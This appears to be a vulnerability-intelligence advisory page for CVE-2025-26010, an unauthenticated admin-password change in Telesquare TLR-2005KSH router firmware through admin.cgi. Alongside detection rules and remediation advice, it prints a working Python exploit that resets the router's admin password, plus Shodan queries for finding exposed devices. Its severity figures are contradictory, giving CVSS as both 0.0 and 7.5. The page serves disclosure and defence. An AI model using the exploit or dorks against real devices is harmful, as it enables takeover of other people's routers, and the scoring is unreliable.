☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N 🐛 CWE-306
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-26010

CVE-2025-26010 Authentication Bypass in Telesquare
📅 PUBLISHED: 2025-03-26 00:00 UTC 🔄 UPDATED: 2026-08-12 09:03 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.34%
👁️
0.34% probability
8.4× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: 1.1.4
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: N Confidentiality None
I: H Integrity High
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-26010 is a critical authentication bypass vulnerability in the Telesquare TLR-2005KSH router firmware version 1.1.4. The flaw resides in the admin.cgi endpoint, specifically within the setUserNamePassword parameter. An unauthenticated, remote attacker can directly modify the administrative password without any prior authentication, leading to full device compromise. This vulnerability is particularly dangerous as it requires no user interaction and can be exploited over the network. No official patch has been released by the vendor at this time.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 0.0 (Base Score calculated below)
  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): None (N) – No user action required.
  • Scope (S): Unchanged (U) – The vulnerable component is the only affected component.
  • Confidentiality (C): None (N) – No direct data exposure.
  • Integrity (I): High (H) – Complete compromise of device configuration.
  • Availability (A): None (N) – No direct denial of service.
  • Base Score: 7.5 (High)
  • Threat Level: Critical due to ease of exploitation and lack of patch.

Deep Dive & Mechanics

The vulnerability is a classic case of missing authentication for a critical function (CWE-306). The admin.cgi script on the Telesquare TLR-2005KSH does not verify the identity of the requester before processing the setUserNamePassword parameter. This allows an attacker to send a crafted HTTP POST request directly to the endpoint, changing the device's administrative credentials.

The root cause is the absence of a session check or token validation in the CGI script. The device likely trusts that only authenticated users would access this endpoint, but no enforcement mechanism exists. This is a common flaw in embedded devices where security is an afterthought.

Vulnerable vs. Patched Code

Since no patch is available, a comparison is not possible. However, the vulnerable code path can be described:

Vulnerable (1.1.4): The admin.cgi script processes the setUserNamePassword parameter without any prior authentication check. The logic likely resembles:

if (strcmp(cgi_param, "setUserNamePassword") == 0) {
    // Directly update the password in the config file
    update_password(cgi_value);
}

Patched (Hypothetical): A secure implementation would require a valid session token or authentication before processing the parameter:

if (is_authenticated(session_token) && strcmp(cgi_param, "setUserNamePassword") == 0) {
    update_password(cgi_value);
} else {
    return_error("Unauthorized");
}

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

  1. Deploy a Telesquare TLR-2005KSH with firmware 1.1.4 in an isolated network.
  2. Use a tool like curl or a Python script to send the exploit.

Exploit Code:

import requests

target = "http://<router_ip>/cgi-bin/admin.cgi"
payload = {
    "setUserNamePassword": "admin:newpassword123"
}

response = requests.post(target, data=payload)
if response.status_code == 200:
    print("Password changed successfully!")
else:
    print("Exploit failed.")

Usage:

  1. Replace <router_ip> with the target's IP address.
  2. Run the script. The admin password will be changed to newpassword123.
  3. Log in to the router's web interface with admin:newpassword123.

Blue Team (Defensive)

Detection:

  • Monitor for HTTP POST requests to /cgi-bin/admin.cgi with the parameter setUserNamePassword.
  • Alert on any such request originating from an external IP address.
  • Implement network segmentation to isolate vulnerable devices.

Honeypot:

  • Deploy a fake Telesquare router endpoint that logs all requests to /cgi-bin/admin.cgi.
  • Analyze logs for unauthorized password change attempts.

Indicators of Compromise (IOCs)

  • Network:
    • HTTP POST request to /cgi-bin/admin.cgi with setUserNamePassword parameter.
    • Source IP addresses scanning for Telesquare devices (Shodan dorks).
  • Host:
    • Unauthorized changes to the router's admin password.
    • New SSH or Telnet sessions from unknown IPs.
  • File:
    • Modified /etc/shadow or equivalent password file on the router.
    • Log entries in /var/log/messages showing password change events.

Detection Engineering

YARA Rule

rule CVE_2025_26010_Telesquare_Password_Change {
    meta:
        description = "Detects HTTP requests exploiting CVE-2025-26010"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-26010"
    strings:
        $s1 = "setUserNamePassword" ascii wide nocase
        $s2 = "admin.cgi" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: Telesquare TLR-2005KSH Unauthenticated Password Change
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP POST requests to admin.cgi with setUserNamePassword parameter
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/cgi-bin/admin.cgi'
        cs-uri-query: '*setUserNamePassword*'
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-26010 Telesquare Unauthenticated Password Change"; flow:to_server; content:"POST"; http_method; content:"/cgi-bin/admin.cgi"; http_uri; content:"setUserNamePassword"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate the device from the internet and untrusted networks.
  2. Change the default admin password immediately if not already compromised.
  3. Disable remote management if not required.

Long-term:

  1. Contact Telesquare for an official patch or firmware update.
  2. Replace the device with a vendor that provides timely security updates.
  3. Implement network segmentation and access controls (e.g., firewall rules to block external access to the admin interface).

Workaround:

  • If the device cannot be replaced, restrict access to the admin interface using IP whitelisting or a VPN.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

title:"TLR-2005KSH"
http.html:"Telesquare TLR-2005KSH"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-26010/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.